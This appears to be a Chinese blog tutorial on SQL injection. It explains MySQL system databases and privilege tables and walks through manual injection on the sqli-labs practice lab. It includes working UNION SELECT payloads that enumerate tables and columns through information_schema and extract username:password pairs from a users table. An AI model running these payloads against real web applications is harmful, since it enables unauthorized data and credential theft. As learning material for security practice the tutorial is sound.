当前位置:   article > 正文

白话sql注入(sql Injection)系统总结

sql injection

白话sql注入(sql Injection)系统总结

一.什么是sql注入

sql注入是指当web应用程序对用户输入数据的合法性没有添加判断和过滤,导致攻击者可以在web应用程序的查询语句结尾添加额外的sql语句实现对数据库和服务器非法操作的一种行为。这种技术随着时间的积累衍生出了很多种注入方式。

web应用程序的三层架构:视图层 + 业务逻辑层 + 数据访问层

二.sql注入–mysql语法结构与系统库介绍

数据库就是一个存储数据的仓库,数据库是以一定方式存储在一起,能与多个用户共享,具有尽可能小的冗余,与应用程序彼此独立的数据集合。

1.关系型数据库

关系型数据库,存储的格式可以直观地反映实体间的关系,和常见的表格比较相似

关系型数据库中表与表之间有很多复杂的关联关系的

常见的关系型数据库有MySQL,Orcale,PostgreSQL , SQL Server等。

2.非关系型数据库

随着近些年技术方向的不断扩展,大量的NoSQL数据库如 Mon goDB,Redis出于简化数据库结构,避免冗余,影响性能的表连接。摒弃复杂分布式的目的被设计。

3.数据库的服务层级关系

服务器里面
:多个数据库
:多个数据表
:多个行 列 字段
: 数据

4.系统库

以mysql为例,使用过mysql数据库必然在show databases时都会发现mysql返回的库名中并不是单一的库名,其中还包含了:

  • information_schema 库

    是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息;

    例如数据库或表的名称,列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。web渗透过程中用途很大。

    其中:

    SCHEMATA 表:提供了当前MySQL实例中所有数据库信息, show databases结果取之此表。
    
    TABLES表:提供了关于数据中表的信息。table_name
    
    COLUMNS表:提供了表的列信息,详细描述了某张表的所有列以及每个列的信息。column_name
    
    • 1
    • 2
    • 3
    • 4
    • 5
  • performance_schema库

    具有87张表。
    MySQL 5.5开始新增一个数据库:PERFORMANCE_SCHEMA,主要用于收集数据库服务器性能参数。内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级。

  • mysql库

    是核心数据库,类似于sql server中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。不可以删除,如果对mysql不是很了解,也不要轻易修改这个数据库里面的表信息。
    常用举例:在mysql.user表中修改root用户的密码

  • sys库

    具有1个表,100个视图。
    sys库是MySQL 5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。
    可以查询谁使用了最多的资源,哪张表访问最多等。

3.sql注入-手工注入

往往很多新手在刚学习SQL注入的时候,都需要拥有一个能SQL注入的网站,需要有SQL注入点 的。直接去互联网上找的话对新手未免有点太难了

Sqli-labs是一个印度程序员写的,用来学习sql注入的一个游戏教程。

Sqli-labs项目地址—Github获取:https://github.com/Audi-1/sqli-labs

image.png

sqli-labs数字型注入

image.png

在url中输入id值,执行查询sql语句。即可得到对应数据

less-2源码分析:

image.png

注入流程

image.png

注入语句

尝试手工注入:

	SQL注入: 
		1.判断有无注入点   and 1 = 1; true 
		随便输入内容  ==  报错  注入
		              ==  没有注入
		2.猜解列名数量 order by %20 空格
		字段 4个
	3.报错,判断回显点 union 
	4.信息收集 
	  数据库版本 version()
	  高版本:5.0  
		系统库: infromation 。。。
	  数据库名称:database()
	  低版本:5.0 
	5.使用对应SQL进行注入  
		数据库库名:security
	. 下一级  
	infromation_schema.tables 查找表名
	table_name
	查询serurity库下面 所有的表名 

	database()
	= 前后 连到一起
	union select 1,group_concat(table_name),3 from information_schema.tables
	where table_schema=database()

	表: users
	如何查询表里面有那些字段? 
	user 字符 转行 16进制
	union select 1,group_concat(column_name),3 from information_schema.columns
	where table_name=0x7573657273

	username  password  字段数据  
	select username,password from users
	0x3a  :
	union select 1,2,(select group_concat(username,0x3a,password)from users)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35

4.sql注入-高权限注入

在数据库中区分有数据库系统用户与数据库普通用户,二者的划分主要体现在对一些高级函数与资源表的访问权限上。直白一些就是高权限系统用户拥有整个数据库的操作权限,而普通用户只拥有部分已配置的权限。

网站在创建的时候会调用数据库链接,会区分系统用户链接与普通用户链接;当多个网站存在一个数据库的时候,root就拥有最高权限可以对多个网站进行管辖,普通用户仅拥有当前网站和配置的部分权限。所以当我们获取到普通用户权限时,我们只拥有单个数据库权限,甚至文件读写失败;取得高权限用户权限,不仅可以查看所有数据库,还可以对服务器文件进行读写操作。

多个网站共享mysql服务器

image.png

MySQL 权限介绍

mysql中存在4个控制权限的表,分别为user表,db表,tables_priv表,columns_priv表,

select * from user where user=‘root’ and host=‘localhost’\G;

mysql权限表的验证过程为:

先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。

通过身份认证后,进行权限分配,
按照user,db,tables_priv,columns_priv的顺序进行验证。
即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,
将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,
并得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

2.1 系统权限表
User表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限
Db表:存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库
Tables_priv表:存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表
Columns_priv表:存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段
Procs_priv表:存放存储过程和函数级别的权限

  1. MySQL 权限级别分为:
    全局性的管理权限: 作用于整个MySQL实例级别
    数据库级别的权限: 作用于某个指定的数据库上或者所有的数据库上
    数据库对象级别的权限:作用于指定的数据库对象上(表、视图等)或者所有的数据库对象

3.查看mysql 有哪些用户:
mysql> select user,host from mysql.user;

4.查看用户对应权限
select * from user where user=‘root’ and host=‘localhost’\G; #所有权限都是Y ,就是什么权限都有

5.创建 mysql 用户
有两种方式创建MySQL授权用户

执行create user/grant命令(推荐方式)
CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';
通过insert语句直接操作MySQ
  • 1
  • 2
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/羊村懒王/article/detail/644736
推荐阅读
相关标签
  

闽ICP备14008679号